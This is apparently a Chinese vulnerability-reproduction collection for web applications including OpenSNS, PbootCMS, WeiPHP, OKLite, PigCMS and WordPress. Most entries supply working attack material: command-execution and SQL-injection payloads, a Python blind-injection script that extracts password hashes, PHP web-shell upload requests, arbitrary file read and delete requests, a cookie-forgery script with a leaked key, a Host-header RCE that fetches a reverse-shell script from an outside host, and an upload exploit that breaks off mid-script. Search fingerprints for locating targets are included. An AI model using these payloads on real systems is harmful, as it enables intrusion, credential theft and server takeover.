Tiki Wiki CMS Groupware或简称为Tiki(最初称为TikiWiki)是一种免费且开源的基于Wiki的内容管理系统和在线办公套件。在如下这些版本21.2, 20.4, 19.3, 18.7, 17.3, 16.4前存在一处逻辑错误,管理员账户被爆破60次以上时将被锁定,此时使用空白密码即可以管理员身份登录后台。

参考链接:

漏洞环境

执行如下命令启动一个Tiki Wiki CMS 21.1:

docker compose up -d

环境启动后,访问http://your-ip:8080可以看到其欢迎页面。

漏洞复现

我们可以使用https://srcincite.io/pocs/cve-2021-26119.py.txt中的POC进行复现。该POC先使用CVE-2020-15906绕过认证,获取管理员权限;再使用Smarty的沙盒绕过漏洞(CVE-2021-26119)于后台执行任意命令:

python poc.py your-ip:8080 / id

注意,受到漏洞原理的影响,执行该POC会导致管理员账户被锁定。

OKLite

OKLite 1.2.25 后台插件安装 任意文件上传

漏洞描述

OKLite v1.2.25 后台插件过滤不完善导致可以上传恶意木马文件

漏洞影响

OKLite 1.2.25

漏洞复现

关于执行逻辑参照上一篇OKLite 1.2.25 后台模块导入 任意文件上传 CVE-2019-16131

出现漏洞的位置在于framework/admin/plugin_control.php

img

public function unzip_f()
	{
		$id = $this->get('id','int');
		$rs = $this->model('res')->get_one($id);
		if(!$rs){
			$this->json(P_Lang('附件不存在'));
		}
		if($rs['ext'] != 'zip'){
			$this->json(P_Lang('非ZIP文件不支持在线解压'));
		}
		if(!file_exists($this->dir_root.$rs['filename'])){
			$this->json(P_Lang('文件不存在'));
		}
		$info = $this->lib('phpzip')->zip_info($this->dir_root.$rs['filename']);
		$info = current($info);
		if(!$info['filename']){
			$this->json(P_Lang('插件有异常'));
		}
		$info = explode('/',$info['filename']);
		if(!$info[0]){
			$this->json(P_Lang('插件有异常'));
		}
		if(file_exists($this->dir_root.'plugins/'.$info[0])){
			$this->json(P_Lang('插件已存在,不允许重复解压'));
		}
		if(!$info[1]){
			$this->json(P_Lang('插件打包模式有问题'));
		}
		$this->lib('phpzip')->unzip($this->dir_root.$rs['filename'],$this->dir_root.'plugins/');
		$this->json(true);
	}

这里可以看到需要上传ZIP压缩包格式的插件,跟进zip_info函数

函数位置 framework/libs/phpzip.php

img

这里会返回关于ZIP压缩包的一些信息

往下看关键位置

$info = explode('/',$info['filename']);
		if(!$info[0]){
			$this->json(P_Lang('插件有异常'));
		}
		if(file_exists($this->dir_root.'plugins/'.$info[0])){
			$this->json(P_Lang('插件已存在,不允许重复解压'));
		}
		if(!$info[1]){
			$this->json(P_Lang('插件打包模式有问题'));
		}
		$this->lib('phpzip')->unzip($this->dir_root.$rs['filename'],$this->dir_root.'plugins/');
		$this->json(true);

这里用 explode函数以 / 分隔返回两个值,也就是说格式应为 AAA/BBB这样的目录格式,直接上传ZIP文件则会报错 插件打包模式有问题

img

在这里上传一个ZIP文件,格式要是解压出来为目录,目录中含PHP文件就行了

$this->lib('phpzip')->unzip($this->dir_root.$rs['filename'],$this->dir_root.'plugins/');
		$this->json(true);

最后两行告诉了文件解压的位置,上传的文件在 plugins目录下

img

OKLite 1.2.25 后台风格模块 任意文件删除 CVE-2019-16132

漏洞描述

OKLite 1.2.25 后台风格模块存在 对危险字符未过滤,导致可以删除任意目录和文件

漏洞影响

OKLite 1.2.25

漏洞复现

出现漏洞的函数在文件 framework/admin/tpl_control.php 中的 delfile_f() 函数

img

这里删除文件主要调用了 rm函数, 位置在 framework/libs/file.php

/**
	 * 删除操作,请一定要小心,在程序中最好严格一些,不然有可能将整个目录删掉
	 * @参数 $del 要删除的文件或文件夹
	 * @参数 $type 仅支持file和folder,为file时仅删除$del文件,如果$del为文件夹,表示删除其下面的文件。为folder时,表示删除$del这个文件,如果为文件夹,表示删除此文件夹及子项
	 * @返回 true/false
	**/
	public function rm($del,$type="file")
	{
		if(!file_exists($del)){
			return false;
		}
		if(is_file($del)){
			unlink($del);
			return true;
		}
		$array = $this->_dir_list($del);
		if(!$array){
			if($type == 'folder'){
				rmdir($del);
			}
			return true;
		}
		foreach($array as $key=>$value){
			if(file_exists($value)){
				if(is_dir($value)){
					$this->rm($value,$type);
				}else{
					unlink($value);
				}
			}
		}
		if($type == "folder"){
			rmdir($del);
		}
		return true;
	}

这里对传入的参数遍历,获得的文件名或文件夹进行删除

回过头看 调用get函数传入参数时是否有对 ../ 的过滤

img

可以看到参数我们是可控的,使用这里的漏洞进行任意文件删除

img

img

抓包修改成功删除文件

OKLite 1.2.25 后台模块导入 任意文件上传 CVE-2019-16131

漏洞描述

OKLite v1.2.25 后台模块导入过滤不完善导致可以上传恶意木马文件

漏洞影响

OKLite 1.2.25

漏洞复现

首先要先清楚它的执行流程

查看文件 framework/init.php

img

在往下面看可以看到执行函数的逻辑

img

例如 http://127.0.0.1/admin.php?c=ABC&f=EFG

则是调用 framework\admin\ABC_control.php中的EFG_f方法

img

看到在后台有一个 ZIP 文件上传的函数,找一下上传ZIP文件的位置

img

模块管理 --> 模块导入

回头看下函数方法的调用

public function zipfile($input,$folder='')
	{
		if(!$input){
			return array('status'=>'error','content'=>P_Lang('未指定表单名称'));
		}
		//如果未指定存储文件夹,则使用
		if(!$folder){
			$folder = 'data/cache/';
		}
		$this->cateid = 0;
		$this->set_dir($folder);
		$this->set_type('zip');
		$this->cate = array('id'=>0,'filemax'=>104857600,'root'=>$folder,'folder'=>'/','filetypes'=>'zip');
		if(isset($_FILES[$input])){
			$rs = $this->_upload($input);
		}else{
			$rs = $this->_save($input);
		}
		if($rs['status'] != 'ok'){
			return $rs;
		}
		$rs['cate'] = $this->cate;
		return $rs;
	}

这里的 上传目录默认为 data/cache 这个目录,并调用了两个方法 upload和save

img

可以看到这里其实对上传的zip并没有对里面的文件有什么过滤,任意上传一个ZIP文件抓包

test.php文件内容 如下,打包为 test.zip 上传

<?php phpinfo();?>

img

可以看到这里调用的方法是 upload_control中的 zip 方法

img

这里放包后发现调用了另一个方法,跟踪下代码 framework/admin/module_control.php 中的 import_f方法

img

这里的方法为解压方法,说明ZIP文件上传的逻辑为

模块上传 --> ZIP文件写入 data/cache --> 解压刚刚的ZIP文件到 data/cache 目录

所以这里的流程完全是没有过滤危险文件的,将一个木马文件打包为ZIP文件上传访问即可

img

若有收获,就点个赞吧

OneBlog

OneBlog Shiro默认密钥 远程命令执行漏洞

漏洞描述

OneBlog 小于v2.2.1 由于使用含有漏洞版本的Apache Shiro和默认的密钥导致存在远程命令执行漏洞

漏洞影响

OneBlog <= v2.2.1

网络测绘

app=”OneBlog开源博客后台管理系统”

漏洞复现

登陆页面如下

img

使用工具直接利用Apache Shiro漏洞即可

image-20240811172047077

OpenSNS

OpenSNS Application ShareController.class.php 远程命令执行漏洞

漏洞描述

OpenSNS 存在远程命令执行漏洞,攻击者通过漏洞发送特定的请求包可以执行任意命令

漏洞影响

OpenSNS

网络测绘

icon_hash=”1167011145”

漏洞复现

登录页面如下

img

存在漏洞的文件 Application/Weibo/Controller/ShareController.class.php

img

发送Payload

/index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule-%3E_validationFieldItem%26id[4]=function%26[6][]=%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=system(ver)

img

OpenSNS AuthorizeController.class.php 后台远程命令执行漏洞

漏洞描述

OpenSNS AuthorizeController.class.php文件 ssoCallback() 函数存在命令执行漏洞,在登录的情况下可以获取服务器权限

漏洞影响

OpenSNS

网络测绘

icon_hash=”1167011145”

漏洞复现

登录页面如下

img

存在漏洞的文件为 Application/Admin/Controller/AuthorizeController.class.php

img

其中 config参数可控,构造请求就可以通过 file_put_contents 写入执行任意命令

img

构造请求包

POST /admin.php?s=/Authorize/ssoCallback\

config[SSO_CONFIG]=phpinfo();

img

OpenSNS ChinaCityController.class.php SQL注入漏洞

漏洞描述

OpenSNS ChinaCityController.class.php文件中,可通过拼接SQL语句执行任意SQL命令,获取用户账号密码

漏洞影响

OpenSNS

网络测绘

icon_hash=”1167011145”

漏洞复现

登录页面如下

img

存在漏洞的文件为Addons/ChinaCity/Controller/ChinaCityController.class.php

img

其中用户可控参数为 cid 和 pid, 通过调试查看SQL语句

img

通过构造请求闭合SQL语句,造成SQL注入

POST /index.php?s=/home/addons/_addons/china_city/_controller/china_city/_action/getcity.html

cid=0&pid[0]==(select*from(select+sleep(3)union/**/select+1)a)and+1+in+&pid[1]=1

img

通过二分法延时注入可以获取用户账号密码,登录后台

import time
import requests

url = "http://peiqi.com:8888/index.php?s=/home/addons/_addons/china_city/_controller/china_city/_action/getcity.html"

flag = ""
for i in range(1,100):
    low = 32
    high = 128
    while low < high:
        headers = {
            "Content-Type": "application/x-www-form-urlencoded",
            "X-Requested-With": "XMLHttpRequest"
        }
        mid = (low + high)//2
        data = "cid=0&pid[0]==(select*from(select+if(ascii(substr((select/**/password/**/from/**/ocenter_ucenter_member),{},1))<{},sleep(2),1)union/**/select+1)a)and+3+in+&pid[1]=3".format(i,mid)
        timeStart = time.time()
        r = requests.post(url=url, data=data, headers=headers)
        timeEnd = time.time()
        # print(r.text, low, high, data,timeStart-timeEnd)
        if timeEnd - timeStart >= 1: 
            high = mid
        else:
            low = mid + 1
    if low == high == 32:
        print("No  result")
        break
    flag += chr((high + low - 1)//2)
    print(flag)

image-20240806104325089

OpenSNS CurlModel.class.php SSRF漏洞

漏洞描述

OpenSNS CurlModel.class.php文件中curl方法存在SSRF漏洞,通过漏洞攻击者可以探测内网信息

漏洞影响

OpenSNS

网络测绘

icon_hash=”1167011145”

漏洞复现

登录页面如下

img

存在漏洞的文件为 Application/Admin/Model/CurlModel.class.php

img

构造POC

/?s=weibo/share/shareBox&query=app=Admin%26model=Curl%26method=curl%26id=http://92aq2z.dnslog.cn

image-20240806104439769

OpenSNS ThemeController.class.php 后台任意文件上传漏洞

漏洞描述

OpenSNS ThemeController.class.php文件中存在文件上传载,其中过滤不足导致可以上传至服务器任意文件

漏洞影响

OpenSNS

网络测绘

icon_hash=”1167011145”

漏洞复现

登录页面如下

img

登录后的上传页面/admin.php?s=/theme/add.html

img

存在漏洞的文件为 Application/Admin/Model/ThemeController.class.php

img

其中只需要文件后缀为 zip和rar 就会成功上传并解压至当前的 Theme目录中

image-20240806104518755

OpenSNS ThemeController.class.php 后台任意文件下载漏洞

漏洞描述

OpenSNS ThemeController.class.php文件中存在文件下载,其中过滤不足导致可以下载服务器任意文件

漏洞影响

OpenSNS

网络测绘

icon_hash=”1167011145”

漏洞复现

登录页面如下

img

存在漏洞的文件为 Application/Admin/Model/ThemeController.class.php

img

其中 theme参数为用户可控参数,根据函数流程可以发现存在的文件将会打包为 zip文件提供下载

img

构造请求

POST /admin.php?s=/theme/packageDownload

theme=../Conf/common.php

image-20240806104623003

PbootCMS

PbootCMS domain SQL注入漏洞

漏洞描述

PbootCMS 搜索模块存在SQL注入漏洞。通过漏洞可获取数据库敏感信息

漏洞影响

PbootCMS <= 3.0.5

网络测绘

app=”PBOOTCMS”

漏洞复现

本地搭建好最新版本,访问首页

img

我们需要访问一个存在的页面

url中13后加个单引号 ‘

img

若为执行sql报错相关,则漏洞存在

若显示下图

img

则漏洞无法利用

程序默认搭建为sqlite3数据库, Fuzz当前数据库表单payload

')%0aand%0a(SELECT%0acount(tbl_name)%0aFROM%0asqlite_master%0aWHERE%0atype%3d'ta ble'%0aand%0atbl_name%0aNOT%0alike%0a'sqlite_%')<40--

img

通过此payload进行盲注Fuzz数据库中表单总数是否小于40

查询为真返回正常,假则报错

img

由此我们可以准确推断出表单总数

计算sqlite数据库中第一个表名长度,我们可以使用如下payload:

')%0aand%0a(SELECT%0alength(tbl_name)%0aFROM%0asqlite_master%0aWHERE%0atype%3d't able'%0aand%0atbl_name%0aNOT%0alike%0a'sqlite_%'%0alimit%0a1%0aoffset%0a0)<8--

img

猜解第一个表名称,我们可以使用如下payload:

')%0aand%0a(SELECT%0asubstr(tbl_name,1,1)%0aFROM%0asqlite_master%0aWHERE%0atype% 3d'table'%0aand%0atbl_name%0aNOT%0alike%0a'sqlite_%'%0alimit%0a1%0aoffset%0a0)%3d'a'--

img

这样可以得到数据库第一个表的第一位数值为字符串”a”

通过substr()函数,我们可以很轻松的得到表名称.

同理可获取其他数据

在Mysql下的利用方式

猜解当前数据库名称 可以使用如下payload进行Fuzz:

')%0aand%0a(select%0asubstr(database(),1,1)%3d'p')%23

查询为真时页面将返回正常.

使用Burpsuite可以爆破出数据库名称,其他表名字段名等方法相同


PbootCMS ext_price SQL注入漏洞

漏洞描述

PbootCMS 存在SQL注入漏洞。通过漏洞可获取数据库敏感信息

漏洞影响

PbootCMS < 1.2.1

网络测绘

app=”PBOOTCMS”

漏洞复现

主页

img

测试 Payload

/index.php/Index?ext_price%3D1/**/and/**/updatexml(1,concat(0x7e,(SELECT/**/distinct/**/concat(0x23,user(),0x23)/**/FROM/**/ay_user/**/limit/**/0,1),0x7e),1));%23=123](http://127.0.0.1/PbootCMS/index.php/Index?ext_price%3D1/**/and/**/updatexml(1,concat(0x7e,(SELECT/**/distinct/**/concat(0x23,user(),0x23)/**/FROM/**/ay_user/**/limit/**/0,1),0x7e),1));%23=123)

image-20240806105249115

PbootCMS search SQL注入漏洞

漏洞描述

PbootCMS 搜索模块存在SQL注入漏洞。通过漏洞可获取数据库敏感信息

漏洞影响

PbootCMS < 1.2.1

网络测绘

app=”PBOOTCMS”

漏洞复现

搜索框页面为

img

Payload为

/index.php/Search/index?keyword=123&updatexml(1,concat(0x7e,user(),0x7e),1));%23=123](http://127.0.0.1/PbootCMS/index.php/Search/index?keyword=123&updatexml(1,concat(0x7e,user(),0x7e),1));%23=123)

img

Pd-CMS

Pd-CMS Shiro默认密钥 远程命令执行漏洞

漏洞描述

Pd-CMS存在Shiro默认密钥,攻击者通过已知的密钥将会造成Shiro远程命令执行漏洞

漏洞影响

Pd-CMS

网络测绘

“pb-cms”

漏洞复现

主页面

img

默认密钥

3AvVhmFLUs0KTA3Kprsdag==

img

PigCMS action_flashUpload 任意文件上传漏洞

漏洞描述

PigCMS action_flashUpload 方法中存在任意文件上传漏洞,攻击者通过漏洞可以上传任意文件获取到服务器权限

漏洞影响

pigcms

网络测绘

app.name=”PigCMS”

漏洞复现

登陆页面

img

验证POC

POST /cms/manage/admin.php?m=manage&c=background&a=action_flashUpload HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=----aaa

------aaa
Content-Disposition: form-data; name="filePath"; filename="test.php"
Content-Type: video/x-flv

<?php phpinfo();?>
------aaa

img

/cms/upload/images/2023/08/11/1691722887xXbx.php

WeiPHP

WeiPHP3.0 session_id 任意文件上传漏洞

漏洞描述

WeiPHP3.0 session_id 存在任意文件上传漏洞,攻击者通过漏洞可以上传任意文件

漏洞影响

WeiPHP3.0

网络测绘

app=”weiphp”

漏洞复现

登陆页面标识

img

发送请求包上传文件

POST /index.php?s=%2FHome%2FFile%2Fupload%2Fsession_id%2Fscevs8hub3m5ogla05a421hb42.html HTTP/1.1
Host: 
User-Agent: Go-http-client/1.1
Content-Length: 831
Content-Type: multipart/form-data; boundary=------------------------e37a54d7d5380c9f
Accept-Encoding: gzip

--------------------------e37a54d7d5380c9f
Content-Disposition: form-data; name="download"; filename="882176.php"
Content-Type: application/octet-stream

<?php
phpinfo();

--------------------------e37a54d7d5380c9f--

img

获取目录后访问回显的 path

img

WeiPHP5.0 bind_follow SQL注入漏洞

漏洞描述

Weiphp5.0 所有使用了 wp_where() 函数并且参数可控的SQL查询均受到影响,前台后台均存在注入。

漏洞影响

Weiphp5.0

网络测绘

app=”WeiPHP”

漏洞复现

登陆页面

img

验证POC

/public/index.php/home/index/bind_follow/?publicid=1&is_ajax=1&uid[0]=exp&uid[1]=)%20and%20updatexml(1,concat(0x7e,md5(%271%27),0x7e),1)--+

WeiPHP5.0 download_imgage 前台文件任意读取 CNVD-2020-68596

漏洞描述

Weiphp5.0 存在前台文件任意读取漏洞,可以读取数据库配置等敏感文件

影响版本

Weiphp <= 5.0

环境搭建

weiphp5.0官方下载参考手册

参考官方手册创建网站即可

img

网络测绘

app=”WeiPHP”

漏洞复现

漏洞函数文件:application\material\controller\Material.php

漏洞函数:_download_imgage

img

public function _download_imgage($media_id, $picUrl = '', $dd = null)
    {
        $savePath = SITE_PATH . '/public/uploads/picture/' . time_format(NOW_TIME, 'Y-m-d');
        mkdirs($savePath);
        $cover_id = 0;
        if (empty($picUrl)) {
            // 获取图片URL
            $url = 'https://api.weixin.qq.com/cgi-bin/material/get_material?access_token=' . get_access_token();
            $param['media_id'] = $media_id;
            // dump($url);
            $picContent = post_data($url, $param, 'json', false);
            $picjson = json_decode($picContent, true);
            // dump($picjson);die;
            if (isset($picjson['errcode']) && $picjson['errcode'] != 0) {
                $cover_id = do_down_image($media_id, $dd['thumb_url']);
                if (!$cover_id) {
                    return 0;
                    exit();
                }
            }
            $picName = NOW_TIME . uniqid() . '.jpg';
            $picPath = $savePath . '/' . $picName;
            $res = file_put_contents($picPath, $picContent);
        } else {
            $content = wp_file_get_contents($picUrl);
            // 获取图片扩展名
            $picExt = substr($picUrl, strrpos($picUrl, '=') + 1);
            if (empty($picExt) || $picExt == 'jpeg' || strpos('jpg,gif,png,jpeg,bmp', $picExt) === false) {
                $picExt = 'jpg';
            }
            $picName = NOW_TIME . uniqid() . '.' . $picExt;
            $picPath = $savePath . '/' . $picName;
            $res = file_put_contents($picPath, $content);
            if (!$res) {
                $cover_id = do_down_image($media_id);
                if (!$cover_id) {
                    return 0;
                    exit();
                }
            }
        }

        if ($res) {
            $file = array(
                'name' => $picName,
                'type' => 'application/octet-stream',
                'tmp_name' => $picPath,
                'size' => $res,
                'error' => 0
            );

            $File = D('home/Picture');
            $cover_id = $File->addFile($file);
        }
        return $cover_id;
}

首先注意到函数的标识为public,也就是这个函数是公共调用的,并且变量picUrl为可控变量

根据代码从上向下分析

$savePath = SITE_PATH . '/public/uploads/picture/' . time_format(NOW_TIME, 'Y-m-d');

img

else {
            $content = wp_file_get_contents($picUrl);
            // 获取图片扩展名
            $picExt = substr($picUrl, strrpos($picUrl, '=') + 1);
            if (empty($picExt) || $picExt == 'jpeg' || strpos('jpg,gif,png,jpeg,bmp', $picExt) === false) {
                $picExt = 'jpg';
            }
            $picName = NOW_TIME . uniqid() . '.' . $picExt;
            $picPath = $savePath . '/' . $picName;
            $res = file_put_contents($picPath, $content);
            if (!$res) {
                $cover_id = do_down_image($media_id);
                if (!$cover_id) {
                    return 0;
                    exit();
                }
            }

分析传入变量 picUrlwp_file_get_contents方法

$content = wp_file_get_contents($picUrl);

函数文件位置 application\common.php

img

可以看到这里没有对我们的参数进行过滤,只做了一个有关超时的操作, 回到函数继续向下分析

$picExt = substr($picUrl, strrpos($picUrl, '=') + 1);
if (empty($picExt) || $picExt == 'jpeg' || strpos('jpg,gif,png,jpeg,bmp', $picExt) === false) {
                $picExt = 'jpg';
}
$picName = NOW_TIME . uniqid() . '.' . $picExt;
$picPath = $savePath . '/' . $picName;
$res = file_put_contents($picPath, $content);

这里创建了有关当前时间的图片文件,并写入文件夹/public/uploads/picture/

我们先尝试控制变量 $picUrl 来写入数据库配置文件到图片中

/public/index.php/material/Material/_download_imgage?media_id=1&picUrl=./../config/database.php

img

查看目录/public/uploads/picture/,并用记事本打开写入的jpg文件

img

得到数据库配置文件的信息,既然这个变量可控,我们也可以通过这个方法下载木马文件,再通过解析漏洞或者文件包含等其他漏洞来getshell

img

在当前条件下并不知道文件名是什么,所以回到代码中继续寻找可以获取文件名的办法

img

if ($res) {
            $file = array(
                'name' => $picName,
                'type' => 'application/octet-stream',
                'tmp_name' => $picPath,
                'size' => $res,
                'error' => 0
            );

            $File = D('home/Picture');
            $cover_id = $File->addFile($file);
        }

向下跟进 addFile 函数

函数位置:application\home\model\Picture.php

img

function addFile($file)
    {
        $data['md5'] = md5_file($file['tmp_name']);
        $id = $this->where('md5', $data['md5'])->value('id');
        if ($id > 0) {
            return $id;
        }

        $info = pathinfo($file['tmp_name']);
        $data['path'] = str_replace(SITE_PATH . '/public', '', $file['tmp_name']);

        $data['sha1'] = hash_file('sha1', $file['tmp_name']);
        $data['create_time'] = NOW_TIME;
        $data['status'] = 1;
        $data['wpid'] = get_wpid();

        $id = $this->insertGetId($data);
        return $id;
    }

可以看到这部分代码写入了 Picture 表中

$id = $this->insertGetId($data);

我们查看一下数据库的这个数据表,可以发现之前所上传的数据全部缓存在这个表里了

img

我们现在则需要找到不需要登录的地方来获得这些数据,所以可以全局去查找调用了这个 Picture 表的地方

img

找到一处可以利用的地方

function user_pics()
    {
        $map['wpid'] = get_wpid();
        $picList = M('Picture')->where(wp_where($map))
            ->order('id desc')
            ->select();
        $this->assign('picList', $picList);
        exit($this->fetch());
    }

跟进 get_wpid 函数

function get_wpid($wpid = '')
{
    if (defined('WPID')) {
        return WPID;
    } else {
        return 0;
    }
}

查看 WPID 的定义,文件位置在config\weiphp_define.php

img

定义值默认为 1,所以这里调用则可以获得数据库中Pictrue表的内容,间接的知道了文件内容以及文件名

访问地址: http://webphp/public/index.php/home/file/user_pids

img

可以看到文件名,根据url地址访问选择下载即可

WeiPHP5.0 任意用户Cookie伪造 CNVD-2021-09693

漏洞描述

Weiphp5.0 存在管理员用户Cookie伪造,通过泄露的密钥数据,可利用加密方法来得到管理员的Cookie

影响版本

Weiphp <= 5.0

环境搭建

weiphp5.0官方下载参考手册

参考官方手册创建网站即可

img

网络测绘

app=”WeiPHP”

漏洞复现

首先需要得到数据库配置文件中的 data_auth_key密钥

img

得到这个配置文件可参照上一篇 Weiphp5.0 前台文件任意读取

'data_auth_key' => '+0SeoAC#YR,Jm&c?[PhUg9u;:Drd8Fj4q|XOkx*T'

全局查找下使用了这个密钥的地方

img

找到了跟据这个密钥的加密方法和解密方法

加密方法 think_encrypt

function think_encrypt($data, $key = '', $expire = 0)
{
    $key = md5(empty($key) ? config('database.data_auth_key') : $key);

    $data = base64_encode($data);
    $x = 0;
    $len = strlen($data);
    $l = strlen($key);
    $char = '';

    for ($i = 0; $i < $len; $i++) {
        if ($x == $l) {
            $x = 0;
        }

        $char .= substr($key, $x, 1);
        $x++;
    }

    $str = sprintf('%010d', $expire ? $expire + time() : 0);

    for ($i = 0; $i < $len; $i++) {
        $str .= chr(ord(substr($data, $i, 1)) + (ord(substr($char, $i, 1))) % 256);
    }
    return str_replace(array(
        '+',
        '/',
        '='
    ), array(
        '-',
        '_',
        ''
    ), base64_encode($str));
}

`解密方法 think_decrypt

function think_decrypt($data, $key = '')
{
    $key = md5(empty($key) ? config('database.data_auth_key') : $key);
    $data = str_replace(array(
        '-',
        '_'
    ), array(
        '+',
        '/'
    ), $data);
    $mod4 = strlen($data) % 4;
    if ($mod4) {
        $data .= substr('====', $mod4);
    }
    $data = base64_decode($data);
    $expire = substr($data, 0, 10);
    $data = substr($data, 10);

    if ($expire > 0 && $expire < time()) {
        return '';
    }
    $x = 0;
    $len = strlen($data);
    $l = strlen($key);
    $char = $str = '';

    for ($i = 0; $i < $len; $i++) {
        if ($x == $l) {
            $x = 0;
        }

        $char .= substr($key, $x, 1);
        $x++;
    }

    for ($i = 0; $i < $len; $i++) {
        if (ord(substr($data, $i, 1)) < ord(substr($char, $i, 1))) {
            $str .= chr((ord(substr($data, $i, 1)) + 256) - ord(substr($char, $i, 1)));
        } else {
            $str .= chr(ord(substr($data, $i, 1)) - ord(substr($char, $i, 1)));
        }
    }
    return base64_decode($str);
}

全局查看下使用了解密方法的地方

在文件 application\common.php 中含有使用解密方法的代码,用于做身份验证

function is_login()
{
    $user = session('user_auth');
    if (empty($user)) {
        $cookie_uid = cookie('user_id');
        if (!empty($cookie_uid)) {
            $uid = think_decrypt($cookie_uid);
            $userinfo = getUserInfo($uid);
            D('common/User')->autoLogin($userinfo);

            $user = session('user_auth');
        }
    }
    if (empty($user)) {
        return 0;
    } else {
        return session('user_auth_sign') == data_auth_sign($user) ? $user['uid'] : 0;
    }
}

根据这里得到的代码,可以知道当user_Id=1时,会解密密钥后判断是否正确,如果正确则可以登录系统

我们在本地使用加密代码加密user_id=1得到的cookie则可以登录系统

<?php
show_source(__FILE__);
function think_encrypt($data, $key = '', $expire = 0)
{
    $key = '+0SeoAC#YR,Jm&c?[PhUg9u;:Drd8Fj4q|XOkx*T';
    $key = md5($key);

    $data = base64_encode($data);
    $x = 0;
    $len = strlen($data);
    $l = strlen($key);
    $char = '';

    for ($i = 0; $i < $len; $i++) {
        if ($x == $l) {
            $x = 0;
        }

        $char .= substr($key, $x, 1);
        $x++;
    }

    $str = sprintf('%010d', $expire ? $expire + time() : 0);

    for ($i = 0; $i < $len; $i++) {
        $str .= chr(ord(substr($data, $i, 1)) + (ord(substr($char, $i, 1))) % 256);
    }
    return str_replace(array(
        '+',
        '/',
        '='
    ), array(
        '-',
        '_',
        ''
    ), base64_encode($str));
}

echo 'user_id = ' . think_encrypt($_GET['user_id']);
?>

img

添加cookie: user_id=xxxxxxxx即可成功登录

img

img

wordpress

pwnscriptum

Wordpress 4.6 任意命令执行漏洞(PwnScriptum)

原理

参考 https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html

测试环境

编译及运行测试环境

docker compose build
docker compose up -d

由于Mysql初始化需要一段时间,所以请等待。成功运行后,访问http://your-ip:8080/打开站点,初始化管理员用户名和密码后即可使用(数据库等已经配置好,且不会自动更新)。

测试与EXP使用

发送如下数据包,可见/tmp/success已经成功创建:

POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)
Connection: close
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Accept: */*
Content-Length: 56
Content-Type: application/x-www-form-urlencoded

wp-submit=Get+New+Password&redirect_to=&user_login=admin

但实际利用起来,还是有一些坑需要踏过。具体的坑有这么几个:

  1. 执行的命令不能包含大量特殊字符,如:、引号等。
  2. 命令会被转换成小写字母
  3. 命令需要使用绝对路径
  4. 需要知道某一个存在的用户的用户名

为了解决这些坑,漏洞作者想出了,利用${substr{0}{1}{$spool_directory}}代替/,用${substr{10}{1}{$tod_log}}代替空格的方法。

但是还是有很多字符不能用,所以我们需要将待执行的命令放到第三方网站中,然后通过curl -o /tmp/rce example.com/shell.sh的方法先将他下载到/tmp目录中,再去执行。

所以,总体来说利用过程如下:

  • 编写反弹shell的exp,放到某个网页里。有如下要求:
    • 整个url的大写字母会被转换成小写,所以大写小敏感的系统不要使用大写字母做文件路径
    • 访问该网页不能跳转,因为follow跳转的参数是-L(大写)
  • 拼接成命令/usr/bin/curl -o/tmp/rce example.com/shell.sh和命令/bin/bash /tmp/rce
  • 将上述命令中的空格和/转换成${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}
  • 拼接成HTTP包的Host头:target(any -froot@localhost -be ${run{command}} null)
  • 依次发送这两个拼接好的数据包

我将上述过程写成exp脚本,将脚本中target修改成你的目标,user修改成一个已经存在的用户,shell_url修改成你放置payload的网址。(或直接将target作为第一个参数、shell_url作为第二个参数)

执行即可获得shell:

image-20240805153701338

WordPress 3DPrint Lite 3dprint-lite-functions.php 任意文件上传漏洞

漏洞描述

WordPress 3DPrint Lite Version 1.9.1.4 版本 中的 3dprint-lite-functions.php 文件存在文件上传漏洞,攻击者通过构造请求包可以上传任意文件获取服务器权限

漏洞影响

3DPrint Lite Version 1.9.1.4 版本

插件名

3DPrint Lite

https://downloads.wordpress.org/plugin/3dprint-lite.1.9.1.4.zip

漏洞复现

首先看一下插件注册的接口

image.png

if ( is_admin() ) {
	add_action( 'admin_enqueue_scripts', 'p3dlite_enqueue_scripts_backend' );
	add_action( 'wp_ajax_p3dlite_handle_upload', 'p3dlite_handle_upload' );
	add_action( 'wp_ajax_nopriv_p3dlite_handle_upload', 'p3dlite_handle_upload' );
	include 'includes/3dprint-lite-admin.php';
}
else {
	add_action( 'wp_enqueue_scripts', 'p3dlite_enqueue_scripts_frontend' );
	include 'includes/3dprint-lite-frontend.php';
}

跟踪 p3dlite_handle_upload 方法 wp-content/plugins/3dprint-lite/includes/3dprint-lite-functions.php

image.png

向下看可以看到一个标准的文件上传代码

img

通过调试可以找到上传路径 /wp-content/uploads/p3d/

img

未授权调用 p3dlite_handle_upload 上传文件

# Exploit Title: Wordpress Plugin 3DPrint Lite 1.9.1.4 - Arbitrary File Upload
# Google Dork: inurl:/wp-content/plugins/3dprint-lite/
# Date: 22/09/2021
# Exploit Author: spacehen
# Vendor Homepage: https://wordpress.org/plugins/3dprint-lite/
# Version: <= 1.9.1.4
# Tested on: Ubuntu 20.04.1

import os.path
from os import path
import json
import requests;
import sys

def print_banner():
	print("3DPrint Lite <= 1.9.1.4 - Arbitrary File Upload")
	print("Author -> spacehen (www.github.com/spacehen)")

def print_usage():
	print("Usage: python3 exploit.py [target url] [php file]")
	print("Ex: python3 exploit.py https://example.com ./shell.php")

def vuln_check(uri):
	response = requests.get(uri)
	raw = response.text
	if ("jsonrpc" in raw):
		return True;
	else:
		return False;

def main():

	print_banner()
	if(len(sys.argv) != 3):
		print_usage();
		sys.exit(1);

	base = sys.argv[1]
	file_path = sys.argv[2]

	ajax_action = 'p3dlite_handle_upload'
	admin = '/wp-admin/admin-ajax.php';

	uri = base + admin + '?action=' + ajax_action ;
	check = vuln_check(uri);

	if(check == False):
		print("(*) Target not vulnerable!");
		sys.exit(1)

	if( path.isfile(file_path) == False):
		print("(*) Invalid file!")
		sys.exit(1)

	files = {'file' : open(file_path)}
	print("Uploading Shell...");
	response = requests.post(uri, files=files)
